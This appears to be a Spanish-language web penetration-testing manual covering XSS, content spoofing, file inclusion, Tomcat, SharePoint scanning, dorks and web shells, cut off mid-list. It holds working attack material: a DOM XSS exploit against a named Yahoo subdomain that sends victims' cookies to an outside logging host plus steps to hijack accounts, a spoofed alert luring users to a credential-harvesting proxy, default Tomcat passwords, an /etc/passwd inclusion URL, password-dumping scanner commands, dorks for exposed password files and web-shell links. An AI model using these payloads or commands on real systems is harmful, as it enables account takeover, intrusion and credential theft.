You are on page 1of 78

T​écnicas ​W​eb ​P​entesting

idioma: español

Autor: Kelvin Parra


Team: KelvinSecurity
Fecha De Creación: 15-01-2017
C​ontenido:
-- nivel 1 --
¿Que Es Pentesting?
Básica Estructura Web
Formularios, Penales Administrativos Y Acciones En Formularios
Básicas Herramientas En Navegadores
Básicas Herramientas Online Para Identificar Problemas

-- nivel 2 --
identificando errores en paginas java
identificando errores en paginas php
identificando errores en paginas ruby - Rails
identificando errores en paginas django
identificando errores en paginas asp
identificando errores mysql
identificando errores sqlserver error
identificando errores sql injection
identificando errores sql error

-- nivel 3 --
Code Injection
Command Injection
Cross domain policy audit
format string inject
header inject
http trace
integer overflow inject
local file include
remote file include
shell injection
sql arithmetic injection
sql text injection
sql timing injection
url injection
xpath injection
xss injection
Q​ue es web pentesting: ​El web pentesting es muy bien pagado por empresas y
personas que adquieren un servicio entre ello se realiza una auditoría luego se
realiza un informe detallado con las principales bases dentro de un reporte de
seguridad donde debe llevar “Gráficos” “Mitigación Del Problema” “Dar Consejos
Para Evitar El Fallo De Seguridad” “Resumir Y Describir Las Vulnerabilidades”
“describir que tan grave es el problema”.

mediante este manual aprenderemos mucho sobre la básica estructura de


plataforma web entre ella las funciones básicas como “Consultar” “Inicio De
Sesión” “Búsquedas” “Formularios” “Registros” entre otras funcione donde iremos
a consultar para tener claro por dónde empezar a buscar.

- Vulnerabilidades más conocidas en un portal web

Durante el web pentesting estas son las vulnerabilidades que según la gráfica nos
dice que son las que más se presentarán durante la auditoría web una que otras
veces otras vulnerabilidades pequeñas que no requieren explotación pueden ser
directorios no expuestos pero mediante un método automatizado podrían dejar
claro donde se encuentren estas bases de datos .sql en el anterior manual de bug
bounty program de kelvinsecurity se dio a conocer como ganar dinero realizando
estas investigaciones y auditoría para ganar dinero trabajando realizando el
trabajo de white hat ahora vamos a automatizar algunas prácticas y auditar de
forma mucho mas rapida.
B​ásica estructura web:
Existen muchos tipos de diseños que se realizan algunos que solo son informativos
pero extrañamente no tienen buscadores una de las principales búsqueda de una
vulnerabilidad es por medio del buscador a sido tan efectivo que ha sido tomado
en cuenta por la comunidad de hacking a nivel mundial durante una auditoría es
corremendable por vulnerabilidades como es XSS durante el comienzo a diseñar
una plataforma web es integrado el HTML bajo funciones PHP y JavaScript.

Existen paginas informativas que no ocupan una base de datos es decir que
están por la unica razon de informar con contenido en html para lograr vulnerar
una página que solamente cuente con contenido informativo existen una amplia
búsqueda si este suele tener CPANEL, PHPMYADMIN o de otra forma si este cuenta
con una versión apache vulnerable sobre algún Exploit.

Productos Para Gestión Y Desarrollo De Bases De Datos:

phpMyAdmin: ​es una herramienta escrita en PHP con la intención de manejar la


administración de MySQL a través de páginas web.

CPanel: ​es un panel de control para administrar servidores de alojamiento web


que proveen herramientas.

MySQL: ​es un sistema de gestión de base de datos.


Tecnologías De Desarrollo Y Creación De Bases De Datos

Mejor Saber Que Descuidado: ​Estos gestionadores de desarrollo pueden ser


vulnerable en cuanto MySQL se han pronunciado 0days por parte de investigadores
de seguridad como escalación de privilegios los cuales ha tenido un buen lugar en
la lista de búsqueda de exploits y su mejor manera de buscarla es mediante las
versiones las maneras hoy en dia de explotar se facilita mediante el uso de las
herramientas automatizadas bajo lenguajes de programación como
python,perl,ruby entre otros lenguajes.

PhPMyAdmin ha sido explotado de igual manera por medio de sus versiones una de
ellas como Code Injection lo cual veremos en este manual PhPMyAdmin también se
le fue implementada ataques de fuerza bruta de igual manera CPanel ha sido
afectada de igual manera para identificar un servidor con PhPMyAdmin O CPanel
tomar en cuenta los siguientes ejemplos.

PhPMyAdmin: www.mivictima.com/phpmyadmin

CPanel: www.victima.com:2082

Ver Exploits Para PhPMyAdmin


F​ormularios, Penales Administrativos Y Acciones En Formularios:

​ L objetivo de un formulario de registro o para recibir suscripción estos se


E
suelen almacenar en la base de datos SQL pero hay otros llamados newsletter estos
en cambio sólo han requerido el registro de “Nombre,Apellido,Correo,Telefono”
pero donde no involucra mucho una contraseña.

Formulario De Registro A Base De Datos Formulario Para Suscripción


NEWSLETTER

En Sharepoint no se suele inyectar muy bien el html pero si se ha notado el XSS


Stored en algunos reportes de seguridad sobre un parámetro vulnerable a el. en
este caso funciona muy bien el Command Injection O HTML Inyección trata
Introducir JavaScript o HTML dentro de un Formulario de registro en este caso o
Suscripción. A continuación un ejemplo encontrado en un Bug BOunty Program.
C​ommand Injection & Injection HTML:

Descripción Command Injection: La inyección de comandos es un ataque en el


que el objetivo es la ejecución de comandos arbitrarios en el sistema operativo del
host a través de una aplicación vulnerable. Los ataques de inyección de comandos
son posibles cuando una aplicación pasa datos suministrados por el usuario no
seguros (formularios, cookies, encabezados HTTP, etc.) a un shell del sistema.

Descripción Injection HTML: La inyección HTML es un tipo de problema de


inyección que se produce cuando un usuario es capaz de controlar un punto de
entrada y es capaz de inyectar código HTML arbitrario en una página web
vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la
divulgación de las cookies de sesión de un usuario que podría usarse para suplantar
a la víctima o, de manera más general, puede permitir al atacante modificar el
contenido de la página visto por las víctimas

ubicaciones de estos formularios:

www.ejemplo.com/​register.php

www.ejemplo.com/​newsletter.php
S​cript ingresado para identificar vulnerabilidad:

Podemos involucrar HTML y JavaScript para detectar la vulnerabilidad podríamos


concluir que es Command Injection O HTML Injection en otros métodos se podría
aprovechar esta vulnerabilidad para redirigir a otros usuarios a páginas externas
con malware o phishing.

<img%20src='aaa'%20onerror=alert(1)>

<b onmouseover=alert('HackedBySecTeam')>Alerta!</b>

<script>alert("TEST");</script>

- ejemplo

Herramientas como BruteXSS cuentan con un Wordlist para realizar intentos con
script javascript con la esperanza de encontrar un XSS Stored, Cross Site Scripting
u otro.

W​ordlist: ​Es un diccionario utilizado en fuerza como claves débiles en texto


plano que simpatiza con una herramienta automatizada para dar funcionamiento al
realizar intentos en BruteXSS existe un ​Wordlist​ como puedes observar.
B​ruteXSS:

​ e he bajado el script del repositorio de github BRUTE XSS es la manera


M
automatizada de hacer el trabajo también puedes hacerlo con hackbar de otra
manera para los principiantes y amantes de la manera automatizada puede usar
BRUTE XSS.

de manera GET o POST podemos realizarlo pero para ello comienza el test de
manera automatizada en hackbar {Enable Post Data} y con BRUTEXSS existe la
manera automatizada de seleccionar por ejemplo {GET} {POST}
T​est XSS:

- Test XSS Resultados De BruteXSS

- Wordlist XSS
X​STE: Para aquellos que no están familiarizados con Content Spoofing, es una
falla similar a Cross-Site Scripting (XSS) donde una carga útil se coloca en una
entrada controlada por el usuario que es reflejada de nuevo al usuario por la
aplicación, sino que inyecta cargas útiles de script.

El atacante inyecta una carga útil que desfigura la página. En muchos casos, las
fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados
por la prevención exclusiva de la inyección de scripts. Los ataques de spoofing de
contenido suelen usarse conjuntamente con la ingeniería social porque se dirigen a
la confianza de un usuario del dominio asociado con la aplicación vulnerable..

Digamos que te encuentras con una página web que se parece a algo así.

/ TEST

Cuando veo algo como esto, inmediatamente pienso XSS. La página ha reflejado
claramente algo que controlamos de nuevo a nosotros.

Si intentamos aprovechar este comportamiento reflexivo para realizar un ataque


XSS, veremos que el desarrollador ha mitigado XSS en este parámetro.

Payload:
https://172.21.9.71:8000/<script>alert(42)</script>

Resultados:

En este caso, la codificación de salida HTML se utilizó para mitigar XSS. Esta es una
manera esencialmente a prueba de errores para evitar XSS y donde la mayoría de
los probadores se mueven junto con la prueba. Pero todavía hay peligro aquí. Es
posible que no podamos inyectar una carga XSS, pero ¿qué nos impide utilizar el
conjunto de caracteres disponibles para crear una carga útil que admita un ataque
de ingeniería social.

PAYLOAD:

https://172.21.9.71:8000/en-US/secure_login'' was not found


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Security Alert!!! This
Splunk Server Is Currently Under Attack. The Server's Secret Key May Be
Compromised. Please Authenticate Through The Backup Proxy
@172.22.22.199:8000
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ The path
''/en-US/secure_login

- resultado
- Hemos tomado una vulnerabilidad XSS aparentemente mitigada y hemos
falsificado contenido significativo para explotarlo más, usando esta página
en un intento de explotar la confianza de una víctima en el dominio
asociado. Con suerte, se autentican en nuestro proxy malicioso y nos
proporcionarán sus credenciales de dominio.

X​ss basado en DOM:

Como su nombre indica, el ataque basado en DOM manipula directamente el


navegador a través del DOM. Los ataques basados en DOM son diferentes en que la
respuesta del servidor no se manipula, pero las secuencias de comandos del lado
del cliente se manipulan para modificar cómo se ejecuta.

E​jemplo DOM XSS:


En muy corto plazo DOM-Based o Type-0 XSS son resultado de modificar el DOM del
navegador en el código del sitio del cliente.

Es peligroso porque enviamos cargas desde el cliente y esto significa que podemos
pasar por alto la mayoría del lado del servidor Protecciones. El DOM basado XSS
fue introducido por primera vez por Amit Klein en julio de 2005.2 Y después de
estos años debido A la complejidad de encontrar y explotar todavía un montón de
sitios web son vulnerables a ella.

Vamos a tener ejemplo muy básico pensar en el siguiente código:

<script>

function hashbased()
{
var l = location.hash.slice(1);
eval(l); // execute injected code
}
hashbased();
Así que el guión está buscando una porción de hash y luego evalarla (¿eh?), Así que
inyecto el carácter '#' y Entonces código JS, y debe ejecutarse fácilmente. Aquí hay
una captura de pantalla de mi hackmyweb (no publicado) en este Tipo de
vulnerabilidad.

Así que inyectando ​#alert (0) aparecerá una alerta .si quieres saber más búsqueda
y puedes encontrar un montón de Artículos interesantes sobre este tema.
P​aso I: ​pasos para encontrar vulnerabilidad Para encontrar las vulnerabilidades
que necesita un objetivo y la selección de destino es clave muy importante en el
éxito Descubrimiento de vulnerabilidades. Así que sólo empezar a googlear para
encontrar algunos subdominios.

Y luego pasé algunas veces en bibliotecas JS cargadas.

-JS Archivos

Entonces, ¿qué tipo de script debemos buscar? Cualquier script infame es un gran
objetivo para pasar tiempo en él. Asi que Después de un tiempo acabo de
encontrar un subdominio llamado tw.adspecs.yahoo.com que utiliza un JS lib
llamado Adspec_v1_5.js.
Así que cuando abra este archivo encontrará un archivo JS muy grande y si pasa
unos segundos Comprender este archivo contienen una gran cantidad de otros
archivos JS. Aquí hay algunos ejemplos:

yahoo-dom-event.js
connection-min.js
json-min.js
element-beta-min.js
datasource-beta-min.js
datatable-beta-min.js
utilities.js
yahoo-min.js
event-min.js
sessvars.js
menu.js

Vi que la mayoría de ellos están comprimidos Yahoo! Copyright, excepto uno de


ellos llamado sessvars.js que no es Comprimido ni tiene en yahoo Copyright. Así
que de nuevo me googled para el sitio de autor, para examinar el script.

Así que, según el autor, la biblioteca es en realidad implementación de la variable


de sesión en JS:

Un pequeño script que le permite usar variables de sesión de JavaScript sin usar
cookies. Le permitirá almacenar 2 MB de datos, con mucho menos problemas que
una solución basada en cookies.

Y me di cuenta de otra cosa muy agradable en la parte superior del índice:

1 Sanitizer añadido para evitar eval () de código malicioso.


2 La bandera sessvars. $. Prefs.includeFunctions ahora tiene por defecto false.
Desinfectante en un problema 'eval'? A primera vista, estaba pensando que yahoo
seguro que
Yahoo_sessvars.js

toObject:function(x){
eval("this.myObj="+x);
if(!this.restoreCirculars || !alert){return this.myObj};
this.restoreCode=[];
this.make(this.myObj,true);
var r=this.restoreCode.join(";")+";";
eval('r=r.replace(/\\W([0-9]{1,})(\\W)/g,"[$1]$2").replace(/\\.\\;/g,";")');
eval(r);
return this.myObj
},
sessvars.js
toObject:function(x)
{
if(!this.cleaner)
{
try{this.cleaner=new RegExp('^("(\\\\.|[^"\\\\\\n\\r])*?"|[,:{}\\[\\]0-9.\\-+Eaeflnr-u
\\n\\r\\t])+?$')}
catch(a){this.cleaner=/^(true|false|null|\[.*\]|\{.*\}|".*"|\d+|\d+\.\d+)$/}
};
if(!this.cleaner.test(x)){return {}};
eval("this.myObj="+x);
if(!this.restoreCirculars || !alert){return this.myObj};
if(this.includeFunctions){
var x=this.myObj;
for(var i in x){if(typeof x[i]=="string" && !x[i].indexOf("JSONincludedFunc:")){
x[i]=x[i].substring(17);
eval("x[i]="+x[i])
}}
}

En el código yahoo no hay sanitización antes de eval en exactamente esta parte


del código:

if(!this.cleaner)
{
try{this.cleaner=new RegExp('^("(\\\\.|[^"\\\\\\n\\r])*?"|[,:{}\\[\\]0-9.\\-+Eaeflnr-u
\\n\\r\\t])+?$')}
catch(a){this.cleaner=/^(true|false|null|\[.*\]|\{.*\}|".*"|\d+|\d+\.\d+)$/}
};
if(!this.cleaner.test(x)){return {}};
eval("this.myObj="+x); //​ vulnerable eval
Ahora si yahoo código tiene la falta de rutina de sanitización ¿cómo puedo activar
la vulnerabilidad? Y más Importante cómo puedo explotar el error? Voy a responder
a estas preguntas en unos pocos.

P​arte 2 Activar y analizar la vulnerabilidad:


Así pues, como sabemos que la biblioteca de yahoo es vulnerable, necesitamos
investigarla un poco más para encontrar una forma de Activar la vulnerabilidad. Así
que vamos a mirar en la función vulnerable esta vez con más cuidado.

toObject:function(x){
eval("this.myObj="+x);
if(!this.restoreCirculars || !alert){return this.myObj};
this.restoreCode=[];
this.make(this.myObj,true);
var r=this.restoreCode.join(";")+";";
eval('r=r.replace(/\\W([0-9]{1,})(\\W)/g,"[$1]$2").replace(/\\.\\;/g,";")');
eval(r);
return this.myObj
}

Por lo tanto, la vulnerabilidad es muy transparente. ToObject toma x y eval, pero


espera un momento! necesitamos Para encontrar una forma de activarlo desde la
entrada del usuario, por lo que tenemos que comprobar dónde se llama toObject.
Sólo por Buscando, encontré otra función llamada init donde toObject llamado en:
init:function(){
var o={}, t=this;
try {o=this.$$.toObject(top.name)} catch(e){o={}}; // vulnerable call
this.prefs=o.$||t.prefs;
if(this.prefs.crossDomain || this.prefs.currentDomain==this.getDomain()){
for(var i in o){this.parent[i]=o[i]};
}
else {
this.prefs.currentDomain=this.getDomain();
};
this.parent.$=t;
t.flush();
var f=function(){if(t.prefs.autoFlush){t.flush()}};
if(window["addEventListener"]){addEventListener("unload",f,false)}
else if(window["attachEvent"]){window.attachEvent("onunload",f)}
else {this.prefs.autoFlush=false};
}
};
Nuevamente intenta llamar 'toObject' para 'top.name' que es controlable por
nosotros. Al igual que una nota y $ No significa nada para JS intérprete. Así que
ahora tengo una manera fácil de explotar la vulnerabilidad y para el primer
PoC I código del siguiente código.

<script>
window.open("http://tw.adspecs.yahoo.com/tc/index.php","alert('PWNED!!!'+do
cument.domain);", "", false);
</script>

Así que después de que corrió mi primer PoC y después de aceptar feo ventana
emergente me dieron un mensaje jugoso.

- Ejemplo

Pero esto no es encantador en absoluto y necesito un mejor método de


explotación, en realidad un silencio. Así que encontré algunos Métodos con clic y
un método sin hacer clic. Quisiera decir gracias a Mario Heiderich por Dándome
ideas / vectores.

Aquí está uno de los mejores vectores:

<a href="http://tw.adspecs.yahoo.com/tc/index.php"
target="alert(document.domain)">Click Here</a>
Así que mediante el uso de destino podemos cambiar la propiedad de nombre y de
nuevo podemos obtener la ejecución JS. Así que primero estaba pensando en usar
iframe con valor de nombre y falló debido a Cross-Frame-Scripting Protección en
los navegadores modernos.

¿Hay alguna otra manera? Estaba pensando en cambiar el valor de nombre y luego
hacer una redirección y funciona.

<script>
name='alert(document.domain)';
location.href='http://tw.adspecs.yahoo.com/tc/index.php';
</script>

¡Y Boom !!! Trabajo PoC sin ningún clic o pop-up que poner ~ 400 millones de
usuarios simplemente en riesgo y como Fuente de la ventana no es el carácter
restringido podemos escribir cualquier código stealer javascript que queremos.

Bueno, pero no me detuve aquí, me preguntaba si hay algún otro subdominio


vulnerable o no? Así que pasé Algunas veces en la búsqueda de este JS en otros
subdominios yahoo y encontró una nota fría. Todos los anuncios Subdominios son
vulnerables a este tipo de ataque debido al uso de esta biblioteca.
Así que he comprobado el sitio web principal www.adspecs.yahoo.com/index.php y
no encontré vulnerables JS y yo Pensé que el sitio web principal no lo usa pero
después de un poco de búsqueda encontré sessvars.js esta vez no incluido En
adspec_v1_5.js así que otra vez pensé que por lo menos éste no es vulnerable pero
me equivoqué! Este era Vulnerables y desencadenaron la vulnerabilidad con PoC de
muestra. Así que podemos secuestrar cuentas de usuario con esto ¿vulnerabilidad?
Por supuesto que podemos.

S​Secuestro de cuentas de usuario:


Por lo que puede recordar que hablé sobre la fuente de nombre es grande debido a
que no hay ninguna restricción sobre la disponibilidad ¿caracteres? Simplemente
puede utilizar DOMXSSWIKI para saber todo acerca de cada fuente. Así que busqué
Para el origen window.name en it.3 Y aquí está la información de él.

La fuente del nombre de la ventana:

Los caracteres en el valor window.name son invariantes a la forma en que se les


ha dado. Lo que significa que si un

Conjuntos de aplicaciones JavaScript:


Window.name = 'a \ x01b'

No se aplica codificación.

El atributo window.name siempre es un molde a la representación de cadena del


objeto al que está asignado. los El atributo ​window.name es un valor persistente
durante la existencia de la página a la que está asignado .An Atacante puede
establecer nuevos nombres de ventanas y marcos sin restricción, y se
mantendrán durante Navegación en cualquier dominio

Así que podemos inyectar fácilmente a nuestro ladrón para ello, así que escribí el
exploit final de la siguiente manera:

<html>
<script>
window.name=' new
Image().src="http://abysssec.com/log/log.php?cookie="+encodeURI(document.c
ookie);
setTimeout(\"location.href = \'http:\/\/www.yahoo.com\';\",10);';
location.href="http://adspecs.yahoo.com/index.php";
</script>
</html>
Así que mi PC primero robó las cookies y luego usar setTimeout para terminar de
robar y luego redirigir a la víctima a Yahoo.com. Y aquí está Mario PoC

<a id="x" href='http://adspecs.yahoo.com/adspecs.php'


target="close(/*grabcookie(1)*/)">CLICK</a>
<script>
onblur=function()
{
alert('look here!')
} x.click();
</script>

Este se puede utilizar en iframe debido a SOP impedir el acceso a top.name en


iframe por lo que no hay forma fácil de encuadrar directamente el PoC.

¿Así que robamos las galletas cómo las podemos usar? Es fácil y bien documentado
y se puede leer sobre él En el slick artículo.

Todo lo que necesitamos es T y Y parte de las cookies robadas, por lo que puede
acceder fácilmente con su propio correo Utilice cualquier editor de cookies que
desee cambiar su Y y T y actualizar el correo.
I​dentificando errores de páginas: ​los dorks ayudaron durante mucho tiempo a
buscar errores expuestos en servidores bajo programación PHP, ASP.NET, JAVA por
ello para un pentester memorizar un error e identificar el servidor observando
imágenes y realizando básicos test en páginas es necesario memorizar lo siguiente:

Information Disclosure Version Apache Tomcat:

Definición: Apache Tomcat también llamado Jakarta Tomcat o simplemente


Tomcat funciona como un contenedor de servlets desarrollado bajo el proyecto
Jakarta en la Apache Software Foundation. Tomcat implementa las
especificaciones de los servlets y de JavaServer Pages JSP de Oracle Corporation
aunque creado por Sun Microsystems.

Según Wikipedia: (Estructura De Directorios):

bin - arranque, cierre, y otros scripts y ejecutables.


common - clases comunes que pueden utilizar Catalina y las aplicaciones web.
conf - ficheros XML y los correspondientes DTD para la configuración de Tomcat.
logs - logs de Catalina y de las aplicaciones.
server - clases utilizadas solamente por Catalina.
shared - clases compartidas por todas las aplicaciones web.
webapps - directorio que contiene las aplicaciones web.
work - almacenamiento temporal de ficheros y directorios.

Interfaces comunes de administración:

status/
admin/
web-console/
jmx-console/
admin-console/
manager/html
web-console/Invoker
jmx-console/HtmlAdaptor
invoker/JMXInvokerServlet
Lista de contraseñas predeterminadas comunes para las interfaces de
administración de Tomcat:

admin:
admin:Password1
admin:admin
admin:j5Brn9
admin:password
admin:password1
admin:tomcat
both:tomcat
role1:role1
role1:tomcat
role:changethis
root:Password1
root:changethis
root:password
root:password1
root:r00t
root:root
root:toor
tomcat:
tomcat:Password1
tomcat:admin
tomcat:changethis
tomcat:password
tomcat:password1
tomcat:tomcat

Para un usuario común no entendería lo que se intenta hacer en este caso y es que
existen ciertos paneles de administración de tomcat lo cual hemos dicho
jmx-console por ejemplo el cual las contraseñas predeterminadas por defecto sería
alguna de la lista que se encuentra arriba lo cual el pirata podría entrar con una de
esas contraseñas perjudicando al que la administra y no ha tomado medidas de
seguridad para proteger su seguridad.
I​dentificando errores de páginas PHP: ​Mientras que los scripts PHP no son
intrínsecamente malos, el usuario podría, ya sea inadvertidamente, escribir un
script que permite la Vulnerabilidad o crear maliciosamente un script para
aprovechar ciertas funciones de PHP. Un administrador web Puede que no tenga
que preocuparse por tales scripts para el sitio web principal que él ella maneja,
pero otros usuarios en el Sistema que crear y publicar contenido web podría crear
mal scripts PHP. El administrador del servidor web debe estar consciente de estos
problemas con PHP, por lo que ninguna de las páginas del sistema tiene
vulnerabilidades.

Existen dos tipos principales de vulnerabilidades de PHP, locales y remotas. Las


vulnerabilidades locales están diseñadas Que el ataque se está realizando en el
sistema en el que reside el script PHP. Una vulnerabilidad remota ejecuta un Script
de PHP en un servidor web, que a su vez sale a buscar otro script PHP y luego se
ejecuta en el Servidor web. En este caso, un atacante podría colocar un script PHP
en algún otro servidor que causaría Vulnerabilidad a un servidor web que lo
ejecutó. Entonces el atacante puede esencialmente decirle al servidor web que
están Tratando de explotar para agarrar ese archivo PHP y ejecutarlo, haciendo
que el servidor web sea vulnerable. Local específico Y las vulnerabilidades remotas
se pueden encontrar en las siguientes secciones.
V​ulnerabilidades PHP locales:

Realmente hay un comando principal conocido vulnerable en PHP. Este comando es


el comando $ _GET [] , Que permite al usuario especificar valores arbitrarios como
variables a través de la URL . Por ejemplo, si un documento HTML tenía el
siguiente código mostrado como a continuación:

- Remote File Inclusion (​Wiki​)

se consideraría un Riesgo de seguridad.

El comando $ _GET tomará cualquier variable en la URL llamada "​página​" y la


colocará en la variable $ página. Entonces $ Se utiliza con el comando include. El
comando include intentará analizar lo que esté en el Variable $ page como un
script PHP. Si el archivo no contiene scripts PHP, básicamente mostrará el
contenido Del archivo. Un atacante puede especificar lo que quiera en la URL y se
mostrará en la página web. Si un atacante especifica una URL como:
http://www.myserver.com/index.php?page=​/etc/passwd​ e​ index.php

Contiene el código anterior, el atacante verá el contenido de "/ etc / passwd" en


la pantalla.
Con el fin de seguir usando $ _GET sin ser vulnerable, el scripter PHP debe
desinfectar la entrada del comando. Sólo se pueden usar entradas específicas con
la sentencia y si se especifica algo más, el comando no se ejecutado. Un ejemplo
de código que sanitizes las entradas para la declaración de PHP mostrada arriba se
muestra en la figura

- Correctamente desinfectar variables dentro de PHP

Este código sólo ​home.php o ​about.php se puede especificar. Cualquier otra


entrada será ignorada excepto si no hay nada Poner en entonces el valor por
defecto de ​home.php​ se utiliza para que el script ya no es vulnerable.

R​emote File Inclusion:


Otra forma en que un script PHP puede introducir vulnerabilidad es a través del
uso de comandos que obtienen PHP Scripts de otros sitios para su ejecución local.
En este escenario, un atacante puede configurar su propio sitio web que Hosts un
script PHP que contiene un comando vulnerable. El atacante puede indicar al sitio
web que desea Ataque para obtener el script PHP vulnerable desde el sitio web
que configurar y ejecutar. Un ejemplo de esto Tipo de ataque se muestra a
continuación:
- Ejemplo FILE Inclusion

La primera instrucción PHP enumerada está en el servidor que el atacante quiere


explotar. La variable libdir es Definido en el servidor. Un atacante podría modificar
la variable libdir para poner en cualquier sitio web que quisieran visitar.

En este caso, si libdir se estableció en http://kelvinsecurity.com y languages.php


existió en ese servidor,

El servidor iría a http://kelvinsecurity.com e intentaría ejecutar languages.php en


su propio servidor. Dentro de languages.php es la segunda declaración PHP
mostrada arriba. El comando passthru se ejecuta localmente.

Lo que está contenido en el comando como un script de shell. En este caso, el


atacante vería el resultado de la Comando de shell "​/ bin / ls / etc​".

Hay varias formas diferentes de evitar esta amenaza. Una manera de aliviar esta
amenaza es Deshabilite el comando passthru. Otra forma de detener la amenaza es
desinfectar la entrada a la variable en una Similar a la que se hizo para la
vulnerabilidad local.

B​uscar vulnerabilidades de forma automatizada: ​La detección de


vulnerabilidades en scripts PHP y configuraciones de daemon de PHP es algo difícil
y Tareas engorrosas. Para los scripts PHP, un cierto nivel de conocimiento en
scripts PHP es necesario para detectar Vulnerabilidades. Ciertos comandos pueden
utilizarse con seguridad en algunos contextos, pero también pueden usarse de
forma malintencionada o Sólo por error por los principiantes PHP scripters. En los
grandes servidores web con cientos de páginas, el tiempo de búsqueda A través de
todas las páginas podría ser extensa.
Por lo general las aplicaciones en ruby (On Rails) está compuesta por defecto por
medio del puerto 3000 entonces ya puedes darte cuenta de que podría tratase de
una aplicación en ruby.

Vulnerabilidades En Aplicaciones Ruby:

directory traversal vulnerability

Denial of Service Vulnerability

XSS Vulnerability

CSRF Vulnerability

Bypass Methods

Arbitrary file Existence Disclosure

- Listado De Exploits
V​ulnerabilidades en Rails:

CSRF:

Actualizado recientemente para incluir AJAX


REST hace las cosas más difíciles
Almacenado en la cookie

Ataques:

La gente no piensa que lo necesitan


Una vulnerabilidad XSS hace que esta protección sea fácil
Mismo problema de subdominio

PoC:

Directory Traversal O Local File Inclusion:

http://www.myvictima.com/file_download/​file​=​../config/database.yml

HTTP Response Splitting:

Inyección /r/n en campos que dividen los encabezados de respuesta


XSS como afecto
I​dentificando errores en páginas django

- Framework django (Sitio Web)

¿Que es django?

RESUMEN​: Como Django fue desarrollado en el entorno de una redacción de


noticias, fue diseñado para hacer las tareas comunes del desarrollo web rápidas y
fáciles. Esta es una introducción informal de cómo escribir una aplicación basada
en una base de datos con Django.

¿Que es ORM?

RESUMEN: ​Es una herramienta que te permite realizar Consultas SQL a la Base De
Datos.

(Ejemplo De Explotación “​Django CMS v3.3​”)

La vulnerabilidad de la web de validación del lado de la aplicación puede ser


explotada por cuentas de usuario de aplicaciones web privilegiadas con una baja
interacción del usuario.

Para la demostración de seguridad o para reproducir la vulnerabilidad de la web


del lado de la aplicación, siga la información proporcionada y los pasos a
continuación para continuar.
E​jemplo de explotación:

Descripción: Pueden explotarse varias cuentas mediante la inyección de


fragmentos. Cuando otra cuenta de usuario privilegiada incluye un fragmento
Las categorías estables guardadas provocan la ejecución de la carga útil.

una de las páginas que se utilizan como pruebas podemos utilizar:

- Panel de administración django

Técnicas que se podrían desarrollar:

1) ataques de fuerza bruta 4) XSS (Stored)


2) Elevacion de privilegios
3) Arbirtary config download
I​ndentificando errores en paginas ASPNET:

RESUMEN: ​ASP.NET es un framework para aplicaciones web desarrollado y


comercializado por Microsoft. Es usado por programadores y diseñadores para
construir sitios web dinámicos, aplicaciones web y servicios web XML.

- Errores Identificables en ASP Full Disclosure & SQL Injection

Parametros vulnerables conocidos en asp.net

http://website/publications_press.asp?id=​[SQL]
http://website/press.​asp?id​=​[SQL]
http://website/[path]/view_product.​asp?ID​=​[SQL]

Conocidos como una vulnerabilidad SQL Injection lo cual existen en una gran escala
de páginas que trabajan con asp.net mas adelante trateremos de forma
automatizada procesar estas vulnerabirilidades por ahora identificamos los errores.
- Sitio Electoral de los estados unidos

Mediante nuestra inspección básicas puede ser con dnsdumpster o Wappalyzer lo


cual es una extensión de chrome que te ayudará a inspeccionar las tecnologías
utilizadas en un sitio web.

Extension Chrome: ​Wappalyzer

lo cual utiliza tecnologías como “Microsoft-IIS/8.0 - 5” podríamos utilizar una


técnica básica lo cual es buscar parámetros vulnerable y realizar un inyección SQL
sea automatizada o manual para los que no conocen este sitio web fue anunciado
durante el presunto hackeo de las elecciones en estados unidos por partes de
hackers coordinados “Russos” .

existen herramientas que pueden auditar por nosotros esta tecnología lo cual
realiza la siguiente funciones:

1. Detección de versiones de Sharepoint y Frontpage!


2. Dumping Password de archivos de configuración expuestos!
3. Exposed Sharepoint / Frontpage Servicios de escaneo!
4. Comprobación de directorio expuesto!
5. Comprobación de derechos de acceso y archivos instalados!
6. ¡Consulta del servicio RPC!
7. Enumeración de archivos!
8. Archivo de carga Comprobar!
A​utomatizacion:

- Escaneo Automatizado

La herramienta que estoy utilizando se llama sparty detectó la version de


microsoft IIS el script de esta herramienta deberá cumplir las funciones de
encontrar puntos vulnerables (Directorios) (Usuarios Almacenados) como lo pueden
observar durante la explicacion inicial.

[​+​] fetching information from the given target : (https://www.eac.gov)


[​+​] target responded with HTTP code: (200)
[​+​] target is running server: (​Microsoft-IIS/8.0​)
[​-​] please provide the proper scanning options!
[​+​] check help (-h) for arguments and url specification!

1) buscar directorios
​2​) buscar contraseñas en ficheros sensibles “Dumpear”

Comandos:
sparty.py -e rpc_version_check -u www.mivictima.com
sparty_v_0.1.py -s layouts -u www.mienemigo.com
sparty_v_0.1.py -d dump -u www.mienemigo.com
sparty.py -l list -u www.mienemigo.com
sparty.py -v ms_frontpage -u ​www.mienemigo.com
sparty.py -v ms_sharepoint -u www.mienemigo.com
sparty.py -f pvt -u ​www.mienemigo.com
B​usqueda mediante dorks:

- Búsqueda de registros mediante dorks


inurl:inurl:members inurl:AllItems.aspx gmail.com or .gov

- Buscando extensiones débiles con contraseñas


- inurl:_vti_pvt/administrators.pwd o inurl:_vti_pvt
S​hell: ​aprovecho este espacio para contar algo sobre las “Webs Shells” y es que
mayormente los hackers prefieren ante todo no simplemente tener el control sobre
un modulo administrativo de usuarios y contenido mediante la web shell los
hackers buscan improvisar la modificación de script para crear de esta una
backdoor que tenga la posibilidad de almacenar contraseñas de registros pero que
no se guarden en una base de datos en caso contrario buscan que se dirija a ellos.

en muchas paginas se conocen estos hechos y hoy en dia esta siendo utilizado por
muchs hackers del mundo.

las paginas involucradas son las paginas web shopping donde se suele pagar y
registrar numeros de tarjetas de credito y todos los datos como codigo de
seguridad para realizar compras en linea.

Listado De Shells por extension:

ASPX:
https://packetstormsecurity.com/files/137024/ASP-Webshell-For-IIS-8.html
PHP:
